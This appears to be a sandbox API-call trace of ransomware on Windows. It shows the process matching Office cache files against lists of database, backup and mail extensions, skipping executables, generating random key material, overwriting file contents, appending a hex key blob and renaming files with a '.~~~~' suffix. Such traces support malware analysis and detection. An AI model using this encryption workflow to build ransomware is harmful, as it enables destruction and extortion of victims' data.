	[0076.533] lstrlenW (lpString=".BAC") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".BAC") returned 0x0
	[0076.533] lstrlenW (lpString=".dbs") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dbs") returned 0x0
	[0076.533] lstrlenW (lpString=".vhdx") returned 5
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".vhdx") returned 0x0
	[0076.533] lstrlenW (lpString=".NDF") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".NDF") returned 0x0
	[0076.533] lstrlenW (lpString=".dat") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dat") returned 0x0
	[0076.533] lstrlenW (lpString=".DBS") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DBS") returned 0x0
	[0076.533] lstrlenW (lpString=".CKP") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".CKP") returned 0x0
	[0076.533] lstrlenW (lpString=".edb") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".edb") returned 0x0
	[0076.533] lstrlenW (lpString=".PST") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".PST") returned 0x0
	[0076.533] lstrlenW (lpString=".dbf") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dbf") returned 0x0
	[0076.533] lstrlenW (lpString=".SQL") returned 4
	[0076.533] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".SQL") returned 0x0
	[0076.533] lstrlenW (lpString=".pst") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".pst") returned 0x0
	[0076.534] lstrlenW (lpString=".dbv") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dbv") returned 0x0
	[0076.534] lstrlenW (lpString=".SDF") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".SDF") returned 0x0
	[0076.534] lstrlenW (lpString=".dtxs") returned 5
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dtxs") returned 0x0
	[0076.534] lstrlenW (lpString=".db3") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".db3") returned 0x0
	[0076.534] lstrlenW (lpString=".OST") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".OST") returned 0x0
	[0076.534] lstrlenW (lpString=".dbx") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dbx") returned 0x0
	[0076.534] lstrlenW (lpString=".DB3") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DB3") returned 0x0
	[0076.534] lstrlenW (lpString=".DAT") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DAT") returned 0x0
	[0076.534] lstrlenW (lpString=".VHDX") returned 5
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".VHDX") returned 0x0
	[0076.534] lstrlenW (lpString=".ndf") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".ndf") returned 0x0
	[0076.534] lstrlenW (lpString=".DB") returned 3
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DB") returned 0x0
	[0076.534] lstrlenW (lpString=".sql") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".sql") returned 0x0
	[0076.534] lstrlenW (lpString=".MYD") returned 4
	[0076.534] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".MYD") returned 0x0
	[0076.535] lstrlenW (lpString=".DBT") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DBT") returned 0x0
	[0076.535] lstrlenW (lpString=".ACCDB") returned 6
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0076.535] lstrlenW (lpString=".fdb") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".fdb") returned 0x0
	[0076.535] lstrlenW (lpString=".bak") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".bak") returned 0x0
	[0076.535] lstrlenW (lpString=".myd") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".myd") returned 0x0
	[0076.535] lstrlenW (lpString=".DTXS") returned 5
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".DTXS") returned 0x0
	[0076.535] lstrlenW (lpString=".ckp") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".ckp") returned 0x0
	[0076.535] lstrlenW (lpString=".dbt") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".dbt") returned 0x0
	[0076.535] lstrlenW (lpString=".db") returned 3
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".db") returned 0x0
	[0076.535] lstrlenW (lpString=".TXT") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".TXT") returned 0x0
	[0076.535] lstrlenW (lpString=".MDF") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".MDF") returned 0x0
	[0076.535] lstrlenW (lpString=".bdb") returned 4
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".bdb") returned 0x0
	[0076.535] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.535] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x27f3268
	[0076.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.536] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a00d0) returned 1
	[0076.537] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.537] CryptReleaseContext (hProv=0x3a00d0, dwFlags=0x0) returned 1
	[0076.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0076.537] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19652701428) returned 1
	[0076.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x97841d90, dwHighDateTime=0x1d60e1e)) 
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3530
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3530 | out: hHeap=0x300000) returned 1
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7cd8
	[0076.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.537] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.537] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0076.538] GetLastError () returned 0x0
	[0076.538] GetLastError () returned 0x0
	[0076.538] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0076.538] GetLastError () returned 0x0
	[0076.538] GetLastError () returned 0x0
	[0076.538] ReadFile (in: hFile=0x128, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.661] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.661] WriteFile (in: hFile=0x128, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.662] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0076.662] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.662] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.721] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.721] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.721] CloseHandle (hObject=0x128) returned 1
	[0076.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0076.722] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.~~~~")) returned 1
	[0076.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0068 | out: hHeap=0x300000) returned 1
	[0076.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0076.722] GetLastError () returned 0x0
	[0076.722] RtlWakeConditionVariable () returned 0x365f70
	[0076.722] GetCurrentThreadId () returned 0x9f4
	[0076.722] GetCurrentThreadId () returned 0x9f4
	[0076.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0076.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3840 | out: hHeap=0x300000) returned 1
	[0076.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0076.723] lstrlenW (lpString=".scr") returned 4
	[0076.723] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".scr") returned 0x0
	[0076.723] lstrlenW (lpString=".cmd") returned 4
	[0076.723] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".cmd") returned 0x0
	[0076.723] lstrlenW (lpString=".dll") returned 4
	[0076.723] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll", lpSrch=".dll") returned=".dll"
	[0076.723] lstrlenW (lpString=".dll") returned 4
	[0076.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0076.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0076.723] RtlWakeConditionVariable () returned 0x365f70
	[0076.723] GetCurrentThreadId () returned 0x9f4
	[0076.723] GetCurrentThreadId () returned 0x9f4
	[0076.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0076.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa658 | out: hHeap=0x300000) returned 1
	[0076.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3878 | out: hHeap=0x300000) returned 1
	[0076.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa658
	[0076.723] lstrlenW (lpString=".scr") returned 4
	[0076.723] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".scr") returned 0x0
	[0076.723] lstrlenW (lpString=".cmd") returned 4
	[0076.723] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".cmd") returned 0x0
	[0076.723] lstrlenW (lpString=".dll") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dll") returned 0x0
	[0076.724] lstrlenW (lpString=".bat") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bat") returned 0x0
	[0076.724] lstrlenW (lpString=".cpl") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".cpl") returned 0x0
	[0076.724] lstrlenW (lpString=".sys") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sys") returned 0x0
	[0076.724] lstrlenW (lpString=".msc") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".msc") returned 0x0
	[0076.724] lstrlenW (lpString=".com") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".com") returned 0x0
	[0076.724] lstrlenW (lpString=".lnk") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".lnk") returned 0x0
	[0076.724] lstrlenW (lpString=".msp") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".msp") returned 0x0
	[0076.724] lstrlenW (lpString=".pif") returned 4
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".pif") returned 0x0
	[0076.724] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.724] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0076.724] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0076.812] lstrlenW (lpString=".sqb") returned 4
	[0076.812] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sqb") returned 0x0
	[0076.812] lstrlenW (lpString=".ost") returned 4
	[0076.812] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".ost") returned 0x0
	[0076.812] lstrlenW (lpString=".txt") returned 4
	[0076.812] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".txt") returned 0x0
	[0076.813] lstrlenW (lpString=".mdt") returned 4
	[0076.813] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".mdt") returned 0x0
	[0076.813] lstrlenW (lpString=".BDB") returned 4
	[0076.813] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BDB") returned 0x0
	[0076.813] lstrlenW (lpString=".eql") returned 4
	[0076.813] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".eql") returned 0x0
	[0076.813] lstrlenW (lpString=".DBF") returned 4
	[0076.813] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBF") returned 0x0
	[0076.813] lstrlenW (lpString=".EQL") returned 4
	[0076.813] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".EQL") returned 0x0
	[0076.813] lstrlenW (lpString=".FDB") returned 4
	[0076.813] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".FDB") returned 0x0
	[0076.813] lstrlenW (lpString=".EDB") returned 4
	[0076.813] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".EDB") returned 0x0
	[0076.814] lstrlenW (lpString=".DACPAC") returned 7
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DACPAC") returned 0x0
	[0076.814] lstrlenW (lpString=".VHD") returned 4
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".VHD") returned 0x0
	[0076.814] lstrlenW (lpString=".DBV") returned 4
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBV") returned 0x0
	[0076.814] lstrlenW (lpString=".dacpac") returned 7
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dacpac") returned 0x0
	[0076.814] lstrlenW (lpString=".sdf") returned 4
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".sdf") returned 0x0
	[0076.814] lstrlenW (lpString=".accdb") returned 6
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".accdb") returned 0x0
	[0076.814] lstrlenW (lpString=".DBX") returned 4
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".DBX") returned 0x0
	[0076.814] lstrlenW (lpString=".MDT") returned 4
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".MDT") returned 0x0
	[0076.814] lstrlenW (lpString=".SQB") returned 4
	[0076.814] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".SQB") returned 0x0
	[0076.814] lstrlenW (lpString=".vhd") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".vhd") returned 0x0
	[0076.815] lstrlenW (lpString=".bac") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".bac") returned 0x0
	[0076.815] lstrlenW (lpString=".mdf") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".mdf") returned 0x0
	[0076.815] lstrlenW (lpString=".BAK") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BAK") returned 0x0
	[0076.815] lstrlenW (lpString=".BAC") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".BAC") returned 0x0
	[0076.815] lstrlenW (lpString=".dbs") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dbs") returned 0x0
	[0076.815] lstrlenW (lpString=".vhdx") returned 5
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".vhdx") returned 0x0
	[0076.815] lstrlenW (lpString=".NDF") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".NDF") returned 0x0
	[0076.815] lstrlenW (lpString=".dat") returned 4
	[0076.815] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab", lpSrch=".dat") returned 0x0
